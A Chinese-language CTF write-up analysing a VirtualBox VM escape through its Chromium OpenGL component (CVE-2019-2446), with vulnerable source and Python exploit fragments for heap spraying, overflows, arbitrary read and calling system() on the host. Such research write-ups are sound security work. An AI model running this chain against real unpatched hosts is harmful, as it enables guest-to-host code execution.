利用Chromium漏洞夺取CTF胜利:VitualBox虚拟机逃逸漏洞分析(CVE-2019-2446)

栏目: 服务器 · 发布时间: 5年前

内容简介:一、前言早在2018年10月,我就留意到Niklas Baumstark发表了一篇关于VirtualBox的Chromium组件的文章,随后我就开始对它进行研究。在两周的时间中,我发现并报告了十几个可以轻松实现利用的虚拟机逃逸漏洞。但遗憾的是,其中的大多数都是重复的。在2018年12月底,3C35 CTF期间,我留意到Niklas发表的一条推文,他宣布VirtualBox的Chromium挑战还没有被任何人解决。这样一来,我就希望专注于这一方面的研究,因为我想成为第一个夺取旗帜的人。

一、前言

早在2018年10月,我就留意到Niklas Baumstark发表了一篇关于VirtualBox的Chromium组件的文章,随后我就开始对它进行研究。在两周的时间中,我发现并报告了十几个可以轻松实现利用的虚拟机逃逸漏洞。但遗憾的是,其中的大多数都是重复的。

在2018年12月底,3C35 CTF期间,我留意到Niklas发表的一条推文,他宣布VirtualBox的Chromium挑战还没有被任何人解决。这样一来,我就希望专注于这一方面的研究,因为我想成为第一个夺取旗帜的人。

二、挑战内容

我们所面临的挑战,是在64位Xubuntu上尝试针对VirtualBox v5.2.22实现虚拟机逃逸。在挑战的题目中,给出了一个提示,仅仅是API glShaderSource()文档的照片。首先,我认为,我们已经将一个漏洞人为地注入到该函数中,从而应对挑战。然而,在查看了它在Chrome中的实现之后,我意识到我正在面对的是一个真实世界中的漏洞。

三、漏洞分析

下面是src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c代码中的一部分:

void crUnpackExtendShaderSource(void)
{
    GLint *length = NULL;
    GLuint shader = READ_DATA(8, GLuint);
    GLsizei count = READ_DATA(12, GLsizei);
    GLint hasNonLocalLen = READ_DATA(16, GLsizei);
    GLint *pLocalLength = DATA_POINTER(20, GLint);
    char **ppStrings = NULL;
    GLsizei i, j, jUpTo;
    int pos, pos_check;
 
    if (count >= UINT32_MAX / sizeof(char *) / 4)
    {
        crError("crUnpackExtendShaderSource: count %u is out of range", count);
        return;
    }
 
    pos = 20 + count * sizeof(*pLocalLength);
 
    if (hasNonLocalLen > 0)
    {
        length = DATA_POINTER(pos, GLint);
        pos += count * sizeof(*length);
    }
 
    pos_check = pos;
 
    if (!DATA_POINTER_CHECK(pos_check))
    {
        crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
        return;
    }
 
    for (i = 0; i < count; ++i)
    {
        if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))
        {
            crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
            return;
        }
 
        pos_check += pLocalLength[i];
    }
 
    ppStrings = crAlloc(count * sizeof(char*));
    if (!ppStrings) return;
 
    for (i = 0; i < count; ++i)
    {
        ppStrings[i] = DATA_POINTER(pos, char);
        pos += pLocalLength[i];
        if (!length)
        {
            pLocalLength[i] -= 1;
        }
 
        Assert(pLocalLength[i] > 0);
        jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
        for (j = 0; j < jUpTo; ++j)
        {
            char *pString = ppStrings[i];
 
            if (pString[j] == '\0')
            {
                Assert(j == jUpTo - 1);
                pString[j] = '\n';
            }
        }
    }
 
//    cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength);
    cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0);
 
    crFree(ppStrings);
}

该方法使用宏READ_DATA获取用户数据。实际上,它只是从Guest虚拟机使用HGCM接口发送的消息中读取,该消息存储在堆中。然后,它调整输入,并将其传递给cr_unpackDispatch.ShaderSource()。

在这里,第一个明显的攻击点是crAlloc(count * sizeof(char*))。我们查看count变量是否在某个(正值)范围内。但是,由于它是有符号证书,因此还应该检查是否存在负值的可能。如果我们选择足够大的技术,例如0x80000000,那么由于整数溢出,与sizeof(char*)==8的乘法操作将会得到0,因为这里的所有变量都是32位。理想情况下,这可能导致堆溢出,因为分配的缓冲区太小,而计数过大。然而,这部分代码则不容易受到此类攻击,因为如果count为负值,则根本不会进入到循环中(变量i是有符号的,因此二者之间的比较也是有符号的比较)。

实际的漏洞并不明显。在第一个循环中,pos_check由长度数组递增。在每次循环中,都会验证位置,以确保总长度仍然在边界之内。这段代码的问题在于,pos_check仅在下一次循环中检查是否在边界范围内。这就意味着,数组的最后一个元素从未经过任何检查,并且可以为任意大小。

这一点验证不充分会产生什么样的影响呢?本质上,在嵌套循环中,j表示pStrings的索引,并且其范围是从0到pLocalLength[i]。该循环将每个\0字节转换为\n字节。借助任意长度的问题,我们可以使循环超出范围,并且由于pString指向堆HGCM消息中的数据,所以这一问题实际上可以导致堆溢出。

四、漏洞利用

即使我们不能溢出可以控制的内容,但如果我们对其进行合理的利用,我们仍然可以获得任意代码执行。

为了实现漏洞利用,我们将使用3dpwn,这是一个专门用于攻击3D加速(3D Acceleration)的库。我们将大量使用CRVBOXSVCBUFFER_t对象,这些对象也是我们之前研究的目标。它包含一个唯一ID、一个可控制的大小、一个指向Guest虚拟机可以写入的实际数据的指针,以及一个双向链表的下一个/上一个指针:

typedef struct _CRVBOXSVCBUFFER_t {
    uint32_t uiId;
    uint32_t uiSize;
    void*    pData;
    _CRVBOXSVCBUFFER_t *pNext, *pPrev;
} CRVBOXSVCBUFFER_t;

此外,我们还将使用CRConnection对象,该对象包含各种函数指针,以及指向Guest虚拟机可以读取的缓冲区指针。

如果我们破坏了前一个对象,我们可以获得一个任意的写原语。如果我们破坏了后一个对象,那么我们就可以获得一个任意的读原语和任意代码执行。

4.1 策略

1. 泄漏CRConnection对象的指针。

2. 使用大量CRVBOXSVCBUFFER_t对象喷射(Spray)堆,并保存其ID。

3. 找到一个洞,并执行glShaderSource(),以将我们的恶意信息写入洞中。然后,易受攻击的代码会使其溢出到相邻的对象中,在理想情况下,会进入CRVBOXSVCBUFFER_t。我们试图破坏其ID和大小,以触发第二个堆溢出,我们可以通过它进行控制。

4. 查找ID列表,查看其中一个是否消失。如果有消失的ID,则证明它应该是使用换行符损坏的ID。

5. 用此ID中的换行符,替换所有零字节,以获取损坏的ID。

6. 这一损坏的对象,现在将具有比原始更大的长度。我们使用该对象,溢出到第二个CRVBOXSVCBUFFER_t,并使其指向CRConnection对象。

7. 最后,我们可以控制CRConnection对象的内容。如前所述,我们可以破坏它,以启用任意读取原语和任意代码执行。

8. 找到system()的地址,并使用它覆盖函数指针Free()。

9. 在主机上运行任意命令。

4.2 堆信息泄漏

由于我们的目标是VirtualBox v5.2.22,因此该版本并不存在影响v5.2.20之前版本的CVE-2018-3055漏洞。正如我们在 这里 所看到的,该漏洞被利用来泄漏CRConnection的地址。所以,为了应对这一挑战,我们是否应该寻找新的信息泄漏漏洞,或者重新设计漏洞利用策略?

令人惊讶的是,即使在v5.2.22版本中,上面的代码仍然能够泄漏我们想要的对象。这怎么可能,难道是没有正确修复吗?经过仔细分析后,我们发现,分配的对象的大小为0x290字节,而连接的偏移量为OFFSET_CONN_CLIENT,也就是0x248。在这里,并没有超出界限。

msg = make_oob_read(OFFSET_CONN_CLIENT)
leak = crmsg(client, msg, 0x290)[16:24]

值得关注的是,这一问题的原因在于未初始化的内存漏洞。也就是说,svcGetBuffer()方法正在请求堆内存来存储来自Guest的消息。但是,它却没有清除缓冲区。因此,任何返回消息缓冲区数据的API都可能被滥用,从而能将有价值的堆信息泄漏给Guest。我推测,Niklas知道这一漏洞,因此我决定使用这一漏洞来完成这一挑战。实际上,在比赛结束后的几周,发布了关于这一漏洞的补丁,并为其分配了 CVE-2019-2446 的编号。

4.3 堆喷射

我们可以使用alloc_buf()借助CRVBOXSVCBUFFER_t实现堆喷射,如下所示:

bufs = []
for i in range(spray_num):
bufs.append(alloc_buf(self.client, spray_len))

根据经验,我发现可以选择spray_len = 0x30和spray_num = 0x2000,因为它们的缓冲区最终将是连续的,并且pData指向的缓冲区与其他CRVBOXSVCBUFFER_t相邻。

接下来,我们想在分配中创造一个洞,这样我们就可以用恶意的信息占据它。

具体而言,这是通过向主机发送命令SHCRGL_GUEST_FN_WRITE_READ_BUFFERED来实现的,其中hole_pos = spray_num – 0x10:

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [bufs[hole_pos], "A" * 0x1000, 1337])

我们可以参考src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp中此命令的实现。

4.4 第一次溢出

现在,我们已经仔细设置了堆,接下来准备分配消息缓冲区并触发溢出,如下所示:

msg = (pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + '\0\0\0' + chr(CR_EXTEND_OPCODE)
        + 'aaaa'
        + pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE)
        + pack("<I", 0)    # shader
        + pack("<I", 1)    # count
        + pack("<I", 0)    # hasNonLocalLen
        + pack("<I", 0x22) # pLocalLength[0]
        )
crmsg(self.client, msg, spray_len)

需要注意的是,我们发送的消息与刚刚释放的消息大小完全相同。由于glibc堆的工作原理,新的消息非常有可能占据与释放消息完全相同的位置。此外,需要注意count = 1,并且只有最后一个长度可以是任意大小。由于只有一个元素,所以显然,第一个元素也正是最后一个元素。

最后,我们使pLocalLength[0] = 0x22。这个值足以破坏ID和大小字段,我们并不想破坏pData。

那么,具体是如何来计算的?

1. 消息的长度为0x30字节

2. pString的偏移量是0x28

3. glibc块的头部(64位)宽0x10字节

4. uild和uiSize都是32位无符号整数

5. 在crUnpackExtendShaderSource()中将pLocalLength[0]减去2

因此,我们需要0x30-0x28 = 8个字节,才能到达消息的末尾,0x10个字节要经过块的头部,还需要8个字节来覆盖uiId和uiSize。为了补偿减法运算,我们还必须再增加2个字节。总体来说,这就相当于0x22字节。

4.5 找到损坏位置

回想一下,size字段是一个32位无符号整数,我们选择的大小是0x30字节。因此,该字段在损坏后将保持为值0x0a0a0a30(其中的3个零字节已经被字节0x0a替换)。

要查找损坏的ID,这一过程稍微复杂一些,需要我们遍历ID列表,以找出它们之中的哪一个消失了。我们通过向每个ID发送SHCRGL_GUEST_FN_WRITE_BUFFER消息来执行此操作,如下所示:

print("[*] Finding corrupted buffer...")
 
found = -1
 
for i in range(spray_num):
    if i != hole_pos:
        try:
            hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [bufs[i], spray_len, 0, ""])
        except IOError:
            print("[+] Found corrupted id: 0x%x" % bufs[i])
            found = bufs[i]
            break
 
if found < 0:
    exit("[-] Error could not find corrupted buffer.")

最后,我们用\n字节手动替换每个\0,以匹配损坏的缓冲区的ID:

id_str = "%08x" % found
new_id = int(id_str.replace("00", "0a"), 16)
print("[+] New id: 0x%x" % new_id)

现在,我们就拥有了进行第二次溢出所需要的一切,我们可以最终控制其内容。我们的最终目标是,覆盖pData字段,并使其指向我们之前泄漏的CRConnection对象。

4.6 第二次溢出

使用new_id和大小0x0a0a0a30,我们现在可以破坏第二个CRVBOXSVCBUFFER_t。与之前的溢出类似,这是有效的,因为这些缓冲区彼此相邻。但是,这次我们使用ID为0x13371337、大小为0x290且指向self.pConn的伪对象来覆盖它。

try:
    fake = pack("<IIQQQ", 0x13371337, 0x290, self.pConn, 0, 0)
    hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [new_id, 0x0a0a0a30, spray_len + 0x10, fake])
    print("[+] Exploit successful.")
except IOError:
    exit("[-] Exploit failed.")

需要注意的是,spray_len + 0x10表示偏移量,我们再次跳过块头部的0x10字节。在执行此操作后,我们可以修改CRConnection对象的内容。如前所述,这最终使我们能够使用任意读取原语,并允许我们通过替换Free()函数指针来调用任何我们想要的内容。

4.7 任意读取原语

发出SHCRGL_GUEST_FN_READ命令时,pHostBuffer中的数据将被发送回Guest。使用我们的自定义0x13371337 ID,我们可以使用自定义的指针覆盖此指针及其相应的大小。然后,我们使用self.client2客户端发送SHCRGL_GUEST_FN_READ消息来触发我们的任意读取(这是泄漏的CRConnection的客户端ID):

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUF,   pack("<Q", where)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUFSZ, pack("<I", n)])
res, sz = hgcm_call(self.client2, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])

4.8 任意代码执行

在每个CRConnection对象中,都存在函数指针Alloc()、Free()等,负责存储Guest虚拟机的消息缓冲区。此外,它们将CRConnection对象自身作为第一个参数。对我们来说,这是非常完美的,因为它可以用来启动ROP链,或者简单地用任意命令调用system()。

为此,我们需要在偏移量OFFSET_CONN_FREE的位置覆盖指针,并在偏移量0处覆盖我们所需参数的内容,如下所示:

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_FREE, pack("<Q", at)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, 0, cmd])

触发Free()非常简单,只需要我们使用self.client2向主机发送任何有效消息即可。

4.9 寻找system()

我们已经知道一个地址,即crVBoxHGCMFree()。它是存储在Free()字段中的函数指针。这一子例程位于模块VBoxOGLhostcrutil中,该模块还包含libc的其他存根(Stub)。因此,我们可以很容易地计算出system()的地址。

self.crVBoxHGCMFree = self.read64(self.pConn + OFFSET_CONN_FREE)
print("[+] crVBoxHGCMFree: 0x%x" % self.crVBoxHGCMFree)
 
self.VBoxOGLhostcrutil = self.crVBoxHGCMFree - 0x20650
print("[+] VBoxOGLhostcrutil: 0x%x" % self.VBoxOGLhostcrutil)
 
self.memset = self.read64(self.VBoxOGLhostcrutil + 0x22e070)
print("[+] memset: 0x%x" % self.memset)
 
self.libc = self.memset - 0x18ef50
print("[+] libc: 0x%x" % self.libc)
 
self.system = self.libc + 0x4f440
print("[+] system: 0x%x" % self.system)

4.10 夺取旗帜

现在,我们离夺取旗帜只有一步之遥。该Flag存储在位于~/Desktop/flag.txt的文本文件中。我们可以通过任何文本编辑器或终端打开文件,以查看其内容。在挑战的过程中,我们可以直接“看到”旗帜,因为在提交代码后,一段简短的视频将会传回给我们。Xubuntu没有预装geedit,但在Google上迅速搜索后,我们找到了文本编辑器Mousepad。

在第一次提交期间,还发生了一个小问题,就是系统发生了崩溃。我很快就意识到,我们不能使用超过16个字节的字符串,因为一些指针位于这一偏移处,如果使用无效内容覆盖它,将会导致段错误(Segmentation Fault)。

为此,我使用了一些技巧,并将文件路径缩短了两次,这样就可以用较少的字符实现打开操作:

p.rip(p.system, "mv Desktop a\0")
p.rip(p.system, "mv a/flag.txt b\0")
p.rip(p.system, "mousepad b\0")

利用Chromium漏洞夺取CTF胜利:VitualBox虚拟机逃逸漏洞分析(CVE-2019-2446)

不错,在进行了4-5小时的研究之后,我终于夺取了旗帜,并很高兴能成为第一个解决这一挑战的人。几个小时后,Tea Delivers团队也成功利用了这个很酷的漏洞,恭喜他们。

五、总结

如果我们之前一直在使用这一虚拟机,那么这个挑战并不是很难解决。据我所知,通过建立一个更好的Heap Constellation,我们可以直接溢出到CRConnection对象,并修改cbHostBuffer字段,最终启用越界读取原语,从而在不利用任何漏洞的情况下解决这一挑战。然而,在压力和兴奋的双重作用下,我选择了额外的漏洞来解决这一问题。尽管如此,这一过程还是非常有趣。尽管Chromium中存在许多信息泄漏漏洞,几乎每个Opcode都可能会泄漏栈或堆信息,但内存损坏漏洞还是比较稀缺的,因此我非常开心能发现这一问题。

最后一点,也是比较重要的一点,我在掌握代码中存在漏洞的情况之后,就很容易识别问题。实际上,尽管我一直在进行研究,但我最开始却认为它是无法被利用的。因此,我们要以乐观积极的心态来看待代码,如果我们相信任何代码中可能存在问题,就要坚信最终一定能够发现它们。不要气馁,也不要抱有“如果有漏洞,那么其他人肯定早就发现了”这样的心态。

感谢大家的阅读!

六、致谢

感谢Niklasb针对此问题的先前研究,以及设置的挑战题目。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Iterative Methods for Sparse Linear Systems, Second Edition

Iterative Methods for Sparse Linear Systems, Second Edition

Yousef Saad / Society for Industrial and Applied Mathematics / 2003-04-30 / USD 102.00

Tremendous progress has been made in the scientific and engineering disciplines regarding the use of iterative methods for linear systems. The size and complexity of linear and nonlinear systems arisi......一起来看看 《Iterative Methods for Sparse Linear Systems, Second Edition》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

随机密码生成器
随机密码生成器

多种字符组合密码

html转js在线工具
html转js在线工具

html转js在线工具